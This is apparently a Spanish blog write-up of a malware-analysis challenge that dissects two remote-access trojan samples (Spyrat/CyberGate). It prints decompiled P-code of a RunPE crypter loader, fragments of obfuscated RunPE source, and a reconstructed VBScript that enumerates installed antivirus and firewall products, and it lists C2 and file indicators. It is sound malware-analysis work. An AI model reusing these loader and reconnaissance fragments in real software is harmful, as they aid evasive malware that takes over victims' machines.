 Public Function DecryptString(Text, Key) '40272C  

Listado P-Code en VB Decompiler de la funcion RunPE en Class2 


En Fr1 solo veo medianamente interesante que incluye un Timer… no nos servirá para nada…

Vemos también un "menu" con un único proc  (Proc_1_0_402CF4)…

Y vemos una Class2… cuya primera función es:

 Public Function RunPE(bvBuff, sHost, sParams, hProcess) '40369C  

Ademas, otra de las subrutinas de esta clase, Proc_2_2_402B64() incluye cosas como:

 loc_402A62: ' Referenced from: 402ACB  
 loc_402A62: LitVarStr var_A8, "vNnNZSlUrbrozQnox"  
 loc_402A67: FStVarCopy  
 loc_402A6B: Branch loc_402B52  
 loc_402A6E: ' Referenced from: 402AA7  
 loc_402A6E: LitVarStr var_A8, "FzdLg"  
 loc_402A73: FStVarCopy  

Observan esos strings tan curiosos? en las siguientes funciones de esta clase también encontramos otros strings ofuscados… buscando esos strings en Google confirmamos que forman parte de runPE… por ejemplo:

Buscando el primer string ("vNnNZSlUrbrozQnox") encuentro…

 Private Function GetNumb(ByVal lPtr As Long, Optional ByVal lSize As Long = &H4) As Long  
 GoTo PhiDEOmSwLszRaPvrpufZgJlVmqtk:  
 nCGJBapiRzCQDRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdf:  
 GoTo gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmroQfnoxVQtvciBJzf  
 PvqrpufZgJVmqtkJmRBxlGnBLuuhTuQesZrdGvsmEBYuSZUkyTUfojMdvP:  
 tjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZs = "vNnNZSlUrbrozQnox"  

Así que esta en la función GetNumb() de runPE… que mas? ah si… el header de este código incluye:

 ' Module : kInjec  
 ' Author : Karcrack  
 ' Date : 230710  
 ' Purpose : Shortest way to Run PE from ByteArray  
 ' Mod : By cHiNoLoO  

Así que podemos asumir que toda la Class2 es sobre runPE... y que al menos en parte corresponde a la implementación de Karcrack y cHiNoLoO

Bien, que nos queda? veamos… llamemos clsRunPE a Class2, y tenemos también a clsSimpleXOR… que nos queda?

Seria ese Sub_Main que tenemos y que comienza en

 'Data Table: 40113C   
 loc_402BB4: FLdRfVar var_A8   
 loc_402BB7: FLdRfVar var_A4   
 loc_402BBA: ImpAdLdRf MemVar_4053A4   
 loc_402BBD: NewIfNullPr   
 loc_402BC5: FLdPr var_A4   
 loc_402BC8: = App.Path     

(Mencioné ya que odio el p-code?)

O tal vez ese Proc_1_0_402CF4() que teníamos en "menu"… y que comienza así:

 Public Sub Proc_1_0_402CF4
 'Data Table: 40113C   
 loc_402BB4: FLdRfVar var_A8   
 loc_402BB7: FLdRfVar var_A4   
 loc_402BBA: ImpAdLdRf MemVar_4053A4   
 loc_402BBD: NewIfNullPr   
 loc_402BC5: FLdPr var_A4   
 loc_402BC8: = App.Path     

Notamos algo? es el mismo location… así que solo tenemos una función pendiente después de todo… revisemos lo que tenemos…

Proc_1_0_402CF4() tiene su propia clase… no es runPE… además después de desempaquetar… se vuelve el Sub_Main()… parece que estamos cerca… muy bien… la pregunta no da mas espera… que es Proc_1_0_402CF4() ?

Y aquí esta completa:

 'Data Table: 40113C   
 loc_402BB4: FLdRfVar var_A8   
 loc_402BB7: FLdRfVar var_A4   
 loc_402BBA: ImpAdLdRf MemVar_4053A4   
 loc_402BBD: NewIfNullPr   
 loc_402BC5: FLdPr var_A4   
 loc_402BC8: = App.Path   
 loc_402BCD: ILdRf var_A8   
 loc_402BD0: LitStr "\"   
 loc_402BD3: ConcatStr   
 loc_402BD4: FStStrNoPop var_B4   
 loc_402BD7: FLdRfVar var_B0   
 loc_402BDA: FLdRfVar var_AC   
 loc_402BDD: ImpAdLdRf MemVar_4053A4   
 loc_402BE0: NewIfNullPr   
 loc_402BE8: FLdPr var_AC   
 loc_402BEB: = App.EXEName   
 loc_402BF0: ILdRf var_B0   
 loc_402BF3: ConcatStr   
 loc_402BF4: FStStrNoPop var_B8   
 loc_402BF7: LitStr ".EXE"   
 loc_402BFA: ConcatStr   
 loc_402BFB: FStStr var_88   
 loc_402BFE: FFreeStr var_A8 = "": var_B4 = "": var_B0 = "" = ""   
 loc_402C09: FFreeAd var_A4 = "" = ""   
 loc_402C10: ILdRf var_88   
 loc_402C13: LitI2_Byte 1   
 loc_402C15: LitI2_Byte &HFF   
 loc_402C17: OpenFile   
 loc_402C1B: LitI2_Byte 1   
 loc_402C1D: ImpAdCallI2 LOF(arg_1)   
 loc_402C22: FLdRfVar var_D8   
 loc_402C25: ImpAdCallFPR4 arg_1 = Space(arg_2)   
 loc_402C2A: FLdRfVar var_D8   
 loc_402C2D: CStrVarTmp   
 loc_402C2E: FStStr var_8C   
 loc_402C31: FFree1Var var_D8 = ""   
 loc_402C34: LitI2_Byte 1   
 loc_402C36: FLdRfVar var_8C   
 loc_402C39: LitI4 0   
 loc_402C3E: GetRec3   
 loc_402C40: LitI2_Byte 1   
 loc_402C42: Close   
 loc_402C44: LitI4 0   
 loc_402C49: LitI4 -1   
 loc_402C4E: LitVarStr var_C8, "//df//gh//gt//"   
 loc_402C53: FStVarCopyObj var_D8   
 loc_402C56: FLdRfVar var_D8   
 loc_402C59: ILdRf var_8C   
 loc_402C5C: FLdRfVar var_E8   
 loc_402C5F: ImpAdCallFPR4 arg_1 = Split(arg_2, arg_3, Proc_1_0, arg_5)   
 loc_402C64: FLdRfVar var_E8   
 loc_402C67: StAryVar   
 loc_402C6B: PopTmpLdAdStr var_EC   
 loc_402C6E: FLdRfVar var_90   
 loc_402C71: StAryCopy   
 loc_402C73: FFreeVar var_D8 = "" = ""   
 loc_402C7A: FLdRfVar var_B0   
 loc_402C7D: LitStr "gfhgfhfghfghgf"   
 loc_402C80: FStStrCopy var_A8   
 loc_402C83: FLdRfVar var_A8   
 loc_402C86: LitI4 1   
 loc_402C8B: ILdRf var_90   
 loc_402C8E: AryLock   
 loc_402C91: Ary1LdRf   
 loc_402C92: FLdRfVar var_9C   
 loc_402C95: NewIfNullPr   
 loc_402C98: = Forms   
 loc_402C9D: AryUnlock   
 loc_402CA0: LitI4 0   
 loc_402CA5: LitI4 &H80   
 loc_402CAA: FLdZeroAd var_B0   
 loc_402CAD: CVarStr var_D8   
 loc_402CB0: FLdRfVar var_E8   
 loc_402CB3: ImpAdCallFPR4 MSVBVM60.DLL.rtcStrConvVar2   
 loc_402CB8: FLdRfVar var_E8   
 loc_402CBB: CVar2Vec   
 loc_402CBF: FLdRfVar var_F4   
 loc_402CC2: FLdRfVar var_98   
 loc_402CC5: StAryMove   
 loc_402CC7: FFree1Str var_A8   
 loc_402CCA: FFreeVar var_D8 = "" = ""   
 loc_402CD1: FLdRfVar var_F6   
 loc_402CD4: LitI4 0   
 loc_402CD9: PopTmpLdAdStr var_EC   
 loc_402CDC: LitI4 0   
 loc_402CE1: ILdRf var_88   
 loc_402CE4: FLdRfVar var_98   
 loc_402CE7: FLdRfVar var_A0   
 loc_402CEA: NewIfNullPr   
 loc_402CED: from_stack_3 = PropBag.ReadProperty(from_stack_1, from_stack_2)   
 loc_402CF2: ExitProc   
 End Sub   

Ohhh… en verdad odio el p-code…

Pero esperen… esto no está tan mal… App.Path + LitStr "\" + App.EXEName + LitStr ".EXE", todo eso conectado con una serie de: ConcatStr… parece que formamos la ruta de un archivo .EXE y después tenemos OpenFile… Es este el modulo de lanzamiento? tenemos todos los componentes entonces…

Que mas hay?
  • LitVarStr var_C8, "//df//gh//gt//"
  • LitStr "gfhgfhfghfghgf"
No creerían lo popular que es el string "gfhgfhfghfghgf" en Google… pero no nos ayuda para nada…

En fin… tenemos el packer (o mejor el crypter)… runPE… y donde esta el payload… no lo vi por ningún lado… ahh… es cierto… la imagen volcada no era completamente funcional en Anubis… tal vez quedo incompleta… en los comentarios del IDC mencionan que no están seguros del tamaño a volcar… encontré algunos otros métodos de volcado… pero ninguna implementación funcional…

No importa… con el análisis en código vivo vimos que esta muestra se comporta casi igual que la primera… me gustaría saber porque no logra comunicarse… pero vamos a dejarlo así por ahora… al menos hasta que encontremos un mejor método de desempaquetado…

Comentarios

Ambas muestras presentan un comportamiento similar y están diseñadas para que el mismo atacante (https://127-001.servehttp.com/) consiga el control remoto de nuestra maquina. Solo la primera muestra (smss.exe) parece completar su tarea. La segunda muestra (winlogon.exe) falla al no comunicarse con el servidor del atacante una vez establecida la conexión. No fue posible analizar a fondo la naturaleza de esta diferencia al no conseguirse un unpacked.exe funcional dela segunda muestra.

La segunda muestra (winlogon.exe) tiene una tasa de detección mucho menor que la de la primera muestra (smss.exe) y esto parece estar asociado al tipo de empaquetador usado en ambas muestras. La segunda muestra no es siquiera detectada como empaquetada (el análisis en listado muerto prueba la presencia de un cargador que usa cifrado).

En el análisis del listado muerto se descubrieron las capacidades de la primera muestra (y por la semejanza entre las muestras, posiblemente también la segunda) para robar sistemáticamente contraseñas, y se observo también su relativa consciencia del entorno (detecta sandboxes y depuradores)… estas características no podían ser observadas en el análisis en vivo.

De la misma forma, el análisis en vivo permitió explorar los procesos de inyección, y las actividades en red (que permitieron identificar al atacante); estas características no podían observarse en listado muerto, por realizarse en nuevos procesos externos.

En los análisis no se identificó un procedimiento de auto-propagación… tal vez las muestras deben ser inyectadas por otro malware… o tal vez el atacante depende la ingeniería social sobre el usuario para lograr la infección.

Actualizaciones

Algunas observaciones adicionales, posteriores a la entrega del informe.

teste.vbs

No se como no se me ocurrió hacerlo en su momento, pero al buscar "teste.vbs" en Google tenemos varios resultados… Por los contenidos de los "teste.vbs" publicados en acá y acá (solo difieren en la ruta del  "objFile") suponemos que nuestro teste.vbs incluía algo como esto:

 Set objSecurityCenter = GetObject("winmgmts:\\.\root\SecurityCenter")  
 Set colFirewall = objSecurityCenter.ExecQuery("Select * From FirewallProduct",,48)  
 Set colAntiVirus = objSecurityCenter.ExecQuery("Select * From AntiVirusProduct",,48)  
 Set objFileSystem = CreateObject("Scripting.fileSystemObject")  
 Set objFile = objFileSystem.CreateTextFile("C:\Documents and Settings\Administrator\Local Settings\Temp\teste.txt", True)  
 Enter = Chr(13) + Chr(10)  
 CountFW = 0  
 CountAV = 0  
      For Each objFirewall In colFirewall  
      CountFW = CountFW + 1  
      Info = Info & "F" & CountFw & ") " & objFirewall.displayName & " v" & objFirewall.versionNumber & Enter  
 Next  
      For Each objAntiVirus In colAntiVirus  
      CountAV = CountAV + 1  
      Info = Info & "A" & CountAV & ") " & objAntiVirus.displayName & " v" & objAntiVirus.versionNumber & Enter  
 Next  
 objFile.WriteLine(Info)  
 objFile.Close  

Donde se utiliza el Security Center para detectar las medidas de seguridad (Antivirus y Cortafuegos) presentes en el equipo infectado y se genera un reporte "%TEMP%\teste.txt" que seguramente sería enviado luego al atacante.

controlp.exe

Siguiendo la misma logica, al buscar controlp.exe + malware en Google, encontramos esta referencia, donde aprendemos lo siguiente:
CONTROLP.EXE is known as: W32.Spyrat [Symantec] Trojan.Win32.Llac.gfu [Kaspersky Lab] Worm.Win32.Rebhip [Ikarus] packed with UPX [Kaspersky Lab].
MD5 of CONTROLP.EXE = C970A9DD758FC1620684F85731610D4D
CONTROLP.EXE size is 269824 bytes.
Full path on a computer: %SYSTEM%\CONTROLP.EXE
Related Files:
%APPDATA%\CGLOGS.DAT
%TEMP%\UUU.UUU
%TEMP%\XXX.XXX
%SYSTEM%\CONTROLP.EXE
Tanto el MD5, como los archivos relacionados concuerdan con la primera muestra (smss.exe) asi que puede identificarse esta muestra como como una copia de la muestra originalmente reconocida por los antivirus como W32.Spyrat.

winlogon.exe

Asi mismo, buscando winlogon.exe + W32.Spyrat, encontramos que winlogon.exe es el nombre usado por una variante del malware original: Backdoor:W32/Spyrat.D si bien el caracteristico string "chuck norris" no esta presente en este caso. Asi que solo podemos asumir que es otra variante de W32.Spyrat tal vez preparada explicitamente para este reto (removiendo upx y agregando runPE).

Propagacion

En esta referencia encontramos que:
W32.Spyrat is a worm that copies itself using removable drives and file-sharing networks. It also opens a back door on the computer.
Este comportamiento de propagacion no fue identificado.  Se actulizara nuevamente si se consigue mas informacion..

Periodo de actividad

Una busqueda en los archivos Wild List de Virus Bulletin demuestra que la familia Spyrat aparece registrada "in the wild" por primera vez en mayo de 2010 y se mantiene activa todavia en el ultimo listado  publicament.e disponible (septiembre de 2011).

ProSpy RAT

Existe esta herramienta, disponible en http://www.prospy-rat.com/.  que parece hacer lo mismo y tiene un nombre muy parecido al que usan los antivirus para nuestra muestra.  Tal vez fue lo que se uso para crear las muestras

RunPE Killer

Existe una herramienta "RunPE Killer V. 1.0 By Psymera" que genera un volcado de archivos RunPE, tras haberla probado en la segunda muestra (winlogon.exe) se consiguio un volcado diferente al conseguido con el script IDC mencionado en la seccion de analisis en listado muerto.  Sin embargo este volcado es pesa aun menos que el anterior (25KB vs 44KB) y no logro obetenerse informacion adicional de el.

Desenlace

Al final resulte ganador de este reto :) y el amigo 4v4t4r publico una nota explicado el proceso de creacion de las muestras aqui.  Resulta que se trataba de un troyano llamado CyberGate, no llegue a  analizar que tan diferente sea de los candidatos que tenia  (DarkCometRAT o SpyRAT) pero supongo que tienen caracteristicas en comun.

Por cierto, utilice la tarjeta del premio para comprarme The Zombie Survival Guide, de Max Brooks.  Espero tenerlo en mis manos antes de que se desate el apocalipsis zombie.